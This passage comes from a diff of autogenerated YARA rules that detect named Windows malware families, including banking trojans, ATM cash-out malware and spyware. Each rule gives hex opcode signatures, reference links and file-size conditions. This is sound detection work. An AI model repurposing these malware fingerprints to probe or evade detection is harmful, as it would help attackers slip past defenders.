-		$sequence_7 = { 0f1f440000 8845eb 8b410c 897da8 8945b0 c645fc02 }
-		$sequence_8 = { 8d4101 8945d8 3dffffff7f 0f8700010000 6a00 6a00 50 }
-		$sequence_9 = { 3bca 763b 8bd1 a81f 7535 8b48fc }
+		$sequence_0 = { 85c0 7516 8b86942f4100 b301 85c0 740a }
+		$sequence_1 = { 50 ff15???????? a3???????? 3bc3 7507 32c0 5b }
+		$sequence_2 = { 56 33f6 57 8975fc ffd3 85c0 }
+		$sequence_3 = { c60424cd 8d642438 e9???????? c64424046e 895500 9c 6689742408 }
+		$sequence_4 = { c1c80a e9???????? 66894500 9c }
+		$sequence_5 = { 8b441604 51 50 ff15???????? 85c0 7516 }
+		$sequence_6 = { 51 68102ba40e ff3424 9c 8f442438 }
+		$sequence_7 = { 6820040000 57 57 57 }
+		$sequence_8 = { 60 f6c356 c6442404ab 20d0 }
+		$sequence_9 = { e9???????? 8b7c242c 66c70424dc83 98 9f 8b442430 660fbeeb }
 
 	condition:
-		7 of them and filesize <1007616
+		7 of them and filesize <581632
 }
-rule MALPEDIA_Win_Cycbot_Auto : FILE
+rule MALPEDIA_Win_Cadelspy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "86cbdc6e-7fe8-5962-82c9-3bfe759d3962"
+		id = "4b5e300d-757a-5fee-8d04-bdd6cbf72a64"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cycbot_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cadelspy_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "0df38e9a7bf0b18ae5c795f617ec217aef7020970864c9cdbebdcaf5c85c3174"
+		logic_hash = "7f3bdf0fe810a37a01bcc3fbdfdc1fe97ab8b02a604549fa04a7da715441b0c6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141652,32 +148521,32 @@ rule MALPEDIA_Win_Cycbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 59 8b45ec e8???????? c3 6834020000 b8???????? e8???????? }
-		$sequence_1 = { 57 ffb5e8feffff ff15???????? 8bb5ecfeffff 2bf3 f7de 1bf6 }
-		$sequence_2 = { c745dc44eb4300 c745e08ceb4300 c745e40cee4300 c745e820ee4300 c745ec34ee4300 c745f0f4ec4300 c745f4fcec4300 }
-		$sequence_3 = { 8b06 8b4008 89480c 8b06 894808 8b4508 8908 }
-		$sequence_4 = { 59 33c0 8d7dc8 f3ab aa 8d45c8 6a21 }
-		$sequence_5 = { 33c0 8903 894304 57 894308 ff15???????? c70300000000 }
-		$sequence_6 = { 8d854cfbffff 50 8bc7 e8???????? 59 59 57 }
-		$sequence_7 = { ff5108 8d85e0fbffff 50 ff15???????? ff85d8fbffff 39bdb4fbffff }
-		$sequence_8 = { 50 e8???????? 837c241801 59 59 7408 c744241807000000 }
-		$sequence_9 = { b90a0a0000 663b4c07fe 7508 8945fc be01000000 40 }
+		$sequence_0 = { e8???????? c7042408020000 33f6 56 ff7514 e8???????? 83c40c }
+		$sequence_1 = { e8???????? 68???????? 8d9c2464020000 e8???????? 6828020000 }
+		$sequence_2 = { 46 66833e5c 74f8 8bc6 8d5002 }
+		$sequence_3 = { 59 59 85c0 7524 837d8c05 }
+		$sequence_4 = { ff15???????? ff75fc 8bd8 ff15???????? 5e 8bc3 5b }
+		$sequence_5 = { 57 33ff 893a 8d4802 668b30 40 }
+		$sequence_6 = { 8b0c8d004c0110 83e01f c1e006 8d440124 }
+		$sequence_7 = { 741b 8b07 8bc8 c1f905 83e01f c1e006 8b0c8d004c0110 }
+		$sequence_8 = { 8d442418 50 e8???????? eb0b 50 }
+		$sequence_9 = { 7507 e8???????? eb5f 57 8b7d08 85ff 750a }
 
 	condition:
-		7 of them and filesize <1163264
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Yorekey_Auto : FILE
+rule MALPEDIA_Win_Andromut_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0c2854a9-311b-528a-8d3c-9008975025f5"
+		id = "dba8d7dc-66b9-5da2-b280-7c7cd5055ee5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yorekey"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yorekey_auto.yar#L1-L165"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.andromut_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "bfaa0e3abe9f69e663c8e7749df7b846bcbaa395b01b91bd4c5c56f646e51121"
+		logic_hash = "97f484310b347cbce8f6e0e26b13796260e2f5f5c7183f29f706e1875ad44a4f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141691,37 +148560,32 @@ rule MALPEDIA_Win_Yorekey_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 750a 85c0 7506 ff15???????? }
-		$sequence_1 = { 4883ec20 33ff 488d1dc9fa0000 488b0b ff15???????? }
-		$sequence_2 = { 33c9 ff15???????? 488bd8 ff15???????? 3db7000000 7509 }
-		$sequence_3 = { 8bc6 83f801 7521 a1???????? 50 ff15???????? 68???????? }
-		$sequence_4 = { 03048de0404100 eb02 8bc2 f6402480 0f8571ffffff 33f6 3bfe }
-		$sequence_5 = { 4803d1 488d0d02090100 442bc6 488b0cc1 498b0c0c ff15???????? 85c0 }
-		$sequence_6 = { 7530 a1???????? ba???????? 50 e9???????? a1???????? }
-		$sequence_7 = { 488bce e8???????? 488d154c040100 4c63c8 418d4902 }
-		$sequence_8 = { 730d 488bd3 488bcf e8???????? eb1c }
-		$sequence_9 = { 751b 6a02 33c9 51 }
-		$sequence_10 = { 7405 6641894d00 4885f6 7457 483bf7 7252 4d85ff }
-		$sequence_11 = { 898570ffffff 89856cffffff 8d4598 b919000000 }
-		$sequence_12 = { ff15???????? 488d44243c 448d4f04 4889442428 4c8d05cbfaffff }
-		$sequence_13 = { 5a 8985c4fbffff 3bc2 0f8451ffffff 83f807 0f87110a0000 ff2485b19b4000 }
-		$sequence_14 = { 55 8bec 51 8bc2 56 8d7002 8d9b00000000 }
+		$sequence_0 = { 8b75f8 6bc828 8b441914 03441910 b9aacd12d8 50 56 }
+		$sequence_1 = { e8???????? 8d850cffffff 50 8d8574ffffff 50 8d95fcfcffff 8d8d74fcffff }
+		$sequence_2 = { c785fcfeffff84408441 c78500ffffff842c8415 c78504ffffff843c840d c78508ffffff841c8423 }
+		$sequence_3 = { e8???????? 8d8de8fcffff 51 8d8dd8faffff 51 ffd0 }
+		$sequence_4 = { 83c40c c745d4e278e238 c745d8de58e218 c745dcdef8dcb8 c745e0e498e0f8 }
+		$sequence_5 = { e9???????? 83bde4feffff06 0f85cf000000 8b85e8feffff 83f803 7524 83ef02 }
+		$sequence_6 = { 8bd0 51 ffb5fcfcffff 8d4dcc e8???????? 59 }
+		$sequence_7 = { f3ab 8b7dfc b802210000 6689443e16 0fb7443e06 }
+		$sequence_8 = { 53 6a0a 6a18 8d8510f4ffff c645fc02 50 e8???????? }
+		$sequence_9 = { 5a 84c0 745c 8d4601 894588 f7e2 0f90c1 }
 
 	condition:
-		7 of them and filesize <274432
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Acridrain_Auto : FILE
+rule MALPEDIA_Win_Pandabanker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "82271a88-0572-5daa-a06b-4b68b32ae23f"
+		id = "58cad36d-92dc-5f57-8115-b38a95b1c2cd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.acridrain_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pandabanker_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "2ef6b9a2838948e7218bd1e79fe0257da485657bd990a4bc6b62c314342a8e67"
+		logic_hash = "64182a4cfed301300c0a7df71a34e50b114a69353e8eb5e84fdb9f4804c83f2c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141735,32 +148599,32 @@ rule MALPEDIA_Win_Acridrain_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb03 8b4dd0 8b45e0 8b55cc 8945cc 8a45f0 8955e0 }
-		$sequence_1 = { ff76a4 53 e8???????? 83c428 8945dc e9???????? 6a00 }
-		$sequence_2 = { ffd0 8b75f0 8bc8 83c414 85c9 0f85c5000000 0fce }
-		$sequence_3 = { eb0c 8b4d9c 83c104 894d9c 8b41fc 8945a0 8bc8 }
-		$sequence_4 = { eb5d 8b03 8b8890860000 803900 7520 8d442414 6801040000 }
-		$sequence_5 = { 8b8520ffffff 33ff 8b10 85d2 0f8ea6000000 33c9 898d50ffffff }
-		$sequence_6 = { f6459c01 0f84ae0b0000 8bc6 83e007 3bf0 0f83d50a0000 e9???????? }
-		$sequence_7 = { 8b4748 56 ffd0 8b7584 83c410 8bbd78ffffff eb09 }
-		$sequence_8 = { ffb5d0fdffff e8???????? 83c408 8985d4fdffff 85c0 0f85844b0000 ffb5d0fdffff }
-		$sequence_9 = { e9???????? 83fe02 750c c7872005000003000000 eb7b c7872005000000000000 83fe03 }
+		$sequence_0 = { 56 8bf2 57 83f8ff 7507 8bce e8???????? }
+		$sequence_1 = { 57 8b4808 8d7c2418 8b4004 }
+		$sequence_2 = { c1e202 8bfe 8bca 45 }
+		$sequence_3 = { 7404 c6400109 8b442430 8bd5 014608 8bcf 56 }
+		$sequence_4 = { eb2c 6a05 5a 8bcf }
+		$sequence_5 = { c6007b 40 85db 7404 c6000a 40 c60000 }
+		$sequence_6 = { e8???????? 8bf0 85f6 7411 8bcf }
+		$sequence_7 = { 85ff 7423 8b0e 8bd5 }
+		$sequence_8 = { e8???????? 8b742414 8bce 8b542418 89742424 e8???????? 84c0 }
+		$sequence_9 = { 7508 33c0 85d2 0f95c0 c3 }
 
 	condition:
-		7 of them and filesize <2244608
+		7 of them and filesize <417792
 }
-rule MALPEDIA_Win_Mechanical_Auto : FILE
+rule MALPEDIA_Win_Hdmr_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2ebc8e2c-9656-5fd5-9240-713f089f8d21"
+		id = "efac4b5a-015c-5408-9681-2898b333d92b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mechanical"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mechanical_auto.yar#L1-L158"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hdmr"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hdmr_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "0d673fb1f58f38008ae08ad0a2913e65568b1230b5de3947ba7af4a4e448c6f0"
+		logic_hash = "d93eae97d145bb46a0ed753e26aa98381b2be0cfcaaaf5d8753f4519f5f83cf1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141774,38 +148638,32 @@ rule MALPEDIA_Win_Mechanical_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 03c7 3bca 72ed 5f }
-		$sequence_1 = { c6025e eb12 c6022f eb0d }
-		$sequence_2 = { 8b442430 488d8c2471110000 33d2 41b803010000 }
-		$sequence_3 = { 0401 3cbe 8844240b 76e2 }
-		$sequence_4 = { 03ce c6840c3801000000 8d8424a05c0000 33f6 }
-		$sequence_5 = { 033485c0e54200 c745e401000000 33db 395e08 }
-		$sequence_6 = { 488d15d9d20000 488bcb e8???????? 85c0 750a 4883c310 }
-		$sequence_7 = { 00686c 42 0023 d18a0688078a }
-		$sequence_8 = { 4488a424300d0000 488905???????? e8???????? 4c8d1d5cd40100 498bcc }
-		$sequence_9 = { eb62 c6023d eb5d c6025f eb58 c6023a }
-		$sequence_10 = { 03c1 1bc9 0bc1 59 e9???????? e8???????? ff742404 }
-		$sequence_11 = { 41c1c90d 8bca 4983c201 4403c8 493bc8 }
-		$sequence_12 = { 033485c0e54200 8b45e4 8b00 8906 }
-		$sequence_13 = { 030495c0e54200 eb05 b8???????? f6400420 }
-		$sequence_14 = { 33d2 41b803010000 4488a42470110000 488905???????? e8???????? }
-		$sequence_15 = { 3c58 7711 480fbec5 428a8c10507c0200 83e10f eb03 }
+		$sequence_0 = { 8945e0 85c0 7461 8d0cbd40d04100 8901 8305????????20 8b11 }
+		$sequence_1 = { 8945ec 894df0 894dfc 8b16 8b523c 50 }
+		$sequence_2 = { c1e810 4a 75e6 eb07 }
+		$sequence_3 = { 56 8b7508 68fe070000 8d85fef7ffff 6a00 }
+		$sequence_4 = { 85db 0f8492010000 8b8d70ffffff 0fb709 }
+		$sequence_5 = { 250000ff00 81e3000000ff 33c3 8bda 81e2ff000000 }
+		$sequence_6 = { 0fb701 0fb71c0f 2bc3 2bc2 }
+		$sequence_7 = { 75ea 8a03 3c61 0fbec0 }
+		$sequence_8 = { 8b400c 51 52 8bce ffd0 5e 5b }
+		$sequence_9 = { 50 ff15???????? 8d8c24780a0000 51 }
 
 	condition:
-		7 of them and filesize <434176
+		7 of them and filesize <284672
 }
-rule MALPEDIA_Win_Dramnudge_Auto : FILE
+rule MALPEDIA_Win_Poohmilk_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4e1e9905-62de-5567-9ed7-a82928870a8c"
+		id = "4a533432-ed1d-58b3-b34c-6e80b5d4a8fb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dramnudge_auto.yar#L1-L90"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poohmilk_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "221dd8bcd930b6121a924fbe6761de15c83c657ddce0c9178183beb8828f75f7"
+		logic_hash = "ecd179731e16caedb85d9961e87834bc792941e3499df96bf9bfcadeaf395c81"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141819,30 +148677,32 @@ rule MALPEDIA_Win_Dramnudge_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 014218 eb18 03c3 8bd3 }
-		$sequence_1 = { 000c00 20b140005f5f 7277 7374 }
-		$sequence_2 = { 014318 8b430c 2b4308 03c6 }
-		$sequence_3 = { 000c00 e0d9 40 007374 }
-		$sequence_4 = { 014318 8b4318 8b55f8 03d6 }
-		$sequence_5 = { 007374 643a3a 7275 6e }
-		$sequence_6 = { 0000 90 000c00 20b140005f5f }
-		$sequence_7 = { 014318 eb5b 33f6 eb01 }
+		$sequence_0 = { d3eb 2bf1 8b0c850c344100 014c822c 40 89856cffffff e9???????? }
+		$sequence_1 = { 898560f3ffff c705????????00000000 ffd7 8d8dccf7ffff 51 }
+		$sequence_2 = { 0301 eb02 33c0 8b4d08 85c9 7406 }
+		$sequence_3 = { 898d74d2ffff 898d78d2ffff 3bd9 7417 3bc1 7513 33c0 }
+		$sequence_4 = { 83ffff 0f8410010000 53 8b1d???????? 6a02 }
+		$sequence_5 = { 8bd6 e8???????? 33c9 3b85a4fdffff 5f }
+		$sequence_6 = { 85c0 0f8499000000 68???????? 8d842424020000 50 ffd6 8b4c2410 }
+		$sequence_7 = { 23fb d3eb 0fbe8a10344100 03f9 }
+		$sequence_8 = { 5e c21000 8bff 55 8bec 8b4d0c }
+		$sequence_9 = { 8b4710 8b4e28 53 52 8b5624 }
 
 	condition:
-		7 of them and filesize <1294336
+		7 of them and filesize <245760
 }
-rule MALPEDIA_Win_Zumanek_Auto : FILE
+rule MALPEDIA_Win_Erebus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "87aee693-fd24-5045-ad68-bbf967fca577"
+		id = "3b8e48a2-ab39-5161-a03c-847ada2f2257"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zumanek_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.erebus_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "692948458546aa7f1172f720f7a047815fbd39df276c694923c84a71f1135e40"
+		logic_hash = "f6199452e86aabb91b90d01b525d7eacea470d9b218c6e5261dcc5c5c7e57399"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141856,32 +148716,32 @@ rule MALPEDIA_Win_Zumanek_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { fc 81fe382e9330 97 e412 3dd16312c9 103f 0800 }
-		$sequence_1 = { 8802 98 811212242434 48 3c91 4a }
-		$sequence_2 = { 894612 4d 2454 48 5b 91 }
-		$sequence_3 = { 71ef 1a6f35 e30b 5d fc 77f2 f1 }
-		$sequence_4 = { 1dba45e22f 91 7c8b e459 0920 122424 }
-		$sequence_5 = { 386b95 4c 53 196a17 }
-		$sequence_6 = { 4a e8???????? 86b71986f742 06 58 4c 8812 }
-		$sequence_7 = { c101f6 53 32b879629b65 76a2 43 fc }
-		$sequence_8 = { d9c3 ab 5f c50f 9d 54 f233591b }
-		$sequence_9 = { 5a c59cd53a93a658 98 9f f5 6b80e7fa856bb2 55 }
+		$sequence_0 = { 8d4c243c 50 c744245000000000 e8???????? 8d742434 bb01000000 eb53 }
+		$sequence_1 = { ff15???????? 8b4514 8918 8bc7 5f 5b 8be5 }
+		$sequence_2 = { 8d45f0 50 8b8540ffffff 8d8d40ffffff 8b4004 03c8 e8???????? }
+		$sequence_3 = { ff4718 40 ff7718 25ffff0000 50 68???????? 56 }
+		$sequence_4 = { 8d0c2a 894f18 740a 8b4704 034708 3bc8 7506 }
+		$sequence_5 = { 8d4c2418 e8???????? 50 b9???????? c64424302e e8???????? c705????????24215000 }
+		$sequence_6 = { 50 57 53 e8???????? 83c418 8b8c2424020000 64890d00000000 }
+		$sequence_7 = { c74704ffffffff c74710ffffffff c74714ffffffff 8b0f 8b4704 83f9ff 7504 }
+		$sequence_8 = { 8bd0 c645fc1e 8d8d18ffffff e8???????? 8bf0 83c404 81fe???????? }
+		$sequence_9 = { 2b4718 034708 8b5710 0faf570c 3903 89442410 8d442414 }
 
 	condition:
-		7 of them and filesize <58867712
+		7 of them and filesize <2564096
 }
-rule MALPEDIA_Win_Bluenoroff_Auto : FILE
+rule MALPEDIA_Win_Xiaoba_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c5a8ede1-c77a-5a4b-899a-3e41c1e4e510"
+		id = "9683766b-1f7a-5c2a-bffb-7de9b80367d1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluenoroff"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bluenoroff_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xiaoba"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xiaoba_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "65b6fe6298815292c6af264e82e027897f56c9c87e000fed42924fa12c98e75b"
+		logic_hash = "52112f4a96abd368fbd89cb5e047b8d530704099fd198766e1597b7a0bbb2ccf"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141895,32 +148755,32 @@ rule MALPEDIA_Win_Bluenoroff_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83f802 750e 8d95fcfffeff 52 68???????? }
-		$sequence_1 = { 8d8df8feffff 51 ff15???????? 0fbe95f8feffff 68???????? }
-		$sequence_2 = { 85f6 743a 8d85fcfffeff 50 }
-		$sequence_3 = { 894e04 e8???????? 83c40c 5f }
-		$sequence_4 = { eb10 85c0 7514 8d85fcfffeff 50 68???????? }
-		$sequence_5 = { 83feff 7433 8d4e01 51 6a40 }
-		$sequence_6 = { 68ffff0000 50 e8???????? 33c0 }
-		$sequence_7 = { 56 6a10 68???????? e8???????? 83c410 813ed0c0b0a0 }
-		$sequence_8 = { 33ff 53 ff15???????? 8b450c 85c0 7402 }
-		$sequence_9 = { 50 0fb785f4fffeff 51 52 }
+		$sequence_0 = { 58 8945ec e9???????? 8b5dfc 83c320 895dd0 6801030080 }
+		$sequence_1 = { b801000000 c20c00 8b9024010000 8b44240c 8910 b801000000 c20c00 }
+		$sequence_2 = { 8b5c243c 8b7c2464 8b542428 8b442430 03c3 42 89442430 }
+		$sequence_3 = { dc442410 dd5c2410 e9???????? db8740010000 dc6c2418 dd5c2418 e9???????? }
+		$sequence_4 = { 8b8894010000 33d2 85c9 0f95c2 8bc2 c20800 8b90b4010000 }
+		$sequence_5 = { 8d54b500 8b3c02 8d44f500 83c704 57 50 e8???????? }
+		$sequence_6 = { 85c9 7519 8b54240c 33c9 890a 8b8820010000 894a04 }
+		$sequence_7 = { 85c0 be???????? 7505 be???????? e8???????? 8b4008 56 }
+		$sequence_8 = { 8b10 52 e8???????? 83c404 8b4c2474 8901 8d4c2414 }
+		$sequence_9 = { 8903 8965e8 6800000000 6800000000 6800000000 ff75f0 6800000000 }
 
 	condition:
-		7 of them and filesize <303104
+		7 of them and filesize <5177344
 }
-rule MALPEDIA_Win_Mortalkombat_Auto : FILE
+rule MALPEDIA_Win_Fakerean_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5bbf17fe-00b4-5a92-b5e3-f942b94b6ce0"
+		id = "a7ea6f88-76f7-54f5-a9b5-14fd4ef8d3d9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mortalkombat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mortalkombat_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fakerean_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "7d4e235b241a7bc491c490ef8ff26987513d97053d43652b54aa2deceb4dd9ea"
+		logic_hash = "7dfee10ceca58c69279376a54d184530389bbd0c9b8b6dd9a398c5796de2f6f3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141934,32 +148794,32 @@ rule MALPEDIA_Win_Mortalkombat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33d2 ad 3382b96d4000 ab 83c204 }
-		$sequence_1 = { 6a00 6803800000 ff75fc e8???????? 83f800 7e35 6a00 }
-		$sequence_2 = { 2bc1 81ebb979379e 8bc8 c1e104 }
-		$sequence_3 = { 83f8ff 7402 eb67 6a00 6a00 6a02 }
-		$sequence_4 = { e8???????? 50 ff75ac e8???????? 8945a4 33c0 50 }
-		$sequence_5 = { 803d????????01 7519 68???????? 68???????? 68???????? }
-		$sequence_6 = { c705????????f4010000 68???????? e8???????? a3???????? a0???????? }
-		$sequence_7 = { ff7514 6a01 6a00 ff7510 ff75f8 }
-		$sequence_8 = { 68???????? e8???????? 83c710 6a10 }
-		$sequence_9 = { 50 e8???????? ebd8 8b45bc }
+		$sequence_0 = { 752e 8945fc eb29 395dfc 7524 57 8bce }
+		$sequence_1 = { 49 6a01 ff750c 50 57 ff7514 40 }
+		$sequence_2 = { ff15???????? 3d14050000 74e5 ff7508 56 57 ff15???????? }
+		$sequence_3 = { ff7508 ff15???????? 3bc3 0f8495000000 8b400c 8b00 }
+		$sequence_4 = { 59 3bc3 7419 8d5010 e8???????? 8945e0 3bc3 }
+		$sequence_5 = { ff35???????? ff15???????? 6800000500 6aec ff35???????? ff15???????? 680000cf06 }
+		$sequence_6 = { 741a 81fe00020000 7d12 56 8bc7 e8???????? }
+		$sequence_7 = { 8b4df0 6bc018 6bc918 8b4c190c 2b4c1804 f7df }
+		$sequence_8 = { f7d8 1bc0 25bfe0ffff 05401f0000 50 ff35???????? ff15???????? }
+		$sequence_9 = { 8d45f0 50 8d450c 50 ff15???????? 85c0 7431 }
 
 	condition:
-		7 of them and filesize <1224704
+		7 of them and filesize <4071424
 }
-rule MALPEDIA_Win_Xfscashncr_Auto : FILE
+rule MALPEDIA_Win_Smac_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6ee5ebd5-3415-5529-b820-2ef4f50b7f37"
+		id = "b9e948cf-fc1c-55b5-a40e-593d0b67f4eb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfscashncr"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xfscashncr_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smac"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.smac_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "9081cad85dadcbc9b76a9d19d302868541784728cc3671f5b0e80a45a72963e6"
+		logic_hash = "69ecbaffb88ef2eb7b0bb4fc54b666c372bcfee7df6d63633067f160f5f10295"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141973,32 +148833,32 @@ rule MALPEDIA_Win_Xfscashncr_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb6c8 85c9 744e 8b4d10 e8???????? 0fb730 8b8d54ffffff }
-		$sequence_1 = { 50 8b4de8 8b5110 52 6a00 682d010000 8b45e8 }
-		$sequence_2 = { 898518feffff 8b8d18feffff 898d14feffff c745fc00000000 8b9514feffff 52 e8???????? }
-		$sequence_3 = { 686b070000 68???????? 8b4508 50 e8???????? 83c40c 8b4508 }
-		$sequence_4 = { 8b4de4 66891401 0fb755f4 81fa00800000 7f27 0fb745f4 3d00800000 }
-		$sequence_5 = { 83c418 8b08 8b5004 894d10 895514 c78564ffffff00000000 eb35 }
-		$sequence_6 = { e8???????? 0fb6d0 85d2 7557 837de802 750f 8b4520 }
-		$sequence_7 = { 837d0800 744a b801000000 85c0 7441 8b4508 83c008 }
-		$sequence_8 = { 8b4d08 d9ee d95c81fc 8b55f0 8b4508 d90490 d9ee }
-		$sequence_9 = { 8b5508 83e21f c1e206 8b048dc0195700 0fbe4c1004 81e17fffffff 8b5508 }
+		$sequence_0 = { 66898548ffffff 8bc3 6689854affffff 58 6a74 6689854cffffff 58 }
+		$sequence_1 = { 39bd78feffff 0f86b8000000 ffb578feffff e8???????? ffb578feffff 8bf0 57 }
+		$sequence_2 = { 668945ec 668975ea 8d8598feffff 8bf4 89a578feffff 50 }
+		$sequence_3 = { 8d9d44ffffff e8???????? 6a01 33ff 8bf3 e8???????? 8b1d???????? }
+		$sequence_4 = { e8???????? 83ec1c c68424900100000e 8d842484000000 8bf4 8964245c }
+		$sequence_5 = { 8945f0 3bc3 7514 6a01 33ff 8d7508 e8???????? }
+		$sequence_6 = { 83c42c 33f6 46 5b ffb5f480ffff ff15???????? }
+		$sequence_7 = { 8986d8000000 ffd7 8986dc000000 8bc6 e8???????? c20800 6a00 }
+		$sequence_8 = { 8bf4 89a578feffff 50 e8???????? 83ec1c c645fc04 8d4528 }
+		$sequence_9 = { 66899d42ffffff 5b 6a74 66899d44ffffff 5b }
 
 	condition:
-		7 of them and filesize <3126272
+		7 of them and filesize <212992
